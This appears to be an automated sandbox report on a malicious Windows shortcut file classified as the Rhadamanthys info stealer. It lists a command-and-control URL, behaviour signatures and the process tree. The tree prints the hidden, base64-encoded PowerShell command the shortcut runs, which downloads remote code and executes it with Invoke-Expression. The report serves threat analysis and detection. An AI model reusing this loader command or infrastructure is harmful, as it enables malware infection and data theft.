Analysis
- max time kernel
147s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - submitted
05/04/2024, 11:16
General
- Target DOC5723-57235723.lnk
- Size 10KB
- Sample240405-nc45bsad2x
- SHA256 eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
Malware Config
Extracted
-
rhadamanthys
-
https://46.226.160.196:4075/51b2faec41519/e3lnfgog.utnm9
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_4c2qydy1.la3.ps1
memory/1244-21-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-22-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp
memory/1244-13-0x00000253A7DA0000-0x00000253A7DB0000-memory.dmp
memory/1244-14-0x00000253AA2A0000-0x00000253AA2FE000-memory.dmp
memory/1244-15-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp
memory/1244-16-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-18-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-17-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-19-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp
memory/1244-33-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-12-0x00007FF8839D0000-0x00007FF884491000-memory.dmp
memory/1244-20-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp
memory/1244-7-0x00000253A7D50000-0x00000253A7D72000-memory.dmp
memory/1244-30-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp
memory/1244-29-0x00007FF8839D0000-0x00007FF884491000-memory.dmp
memory/2480-28-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp
memory/2480-31-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp
memory/2480-34-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp
memory/2480-23-0x000001D45C680000-0x000001D45C689000-memory.dmp
memory/2480-35-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp
memory/2480-32-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp
memory/2480-36-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp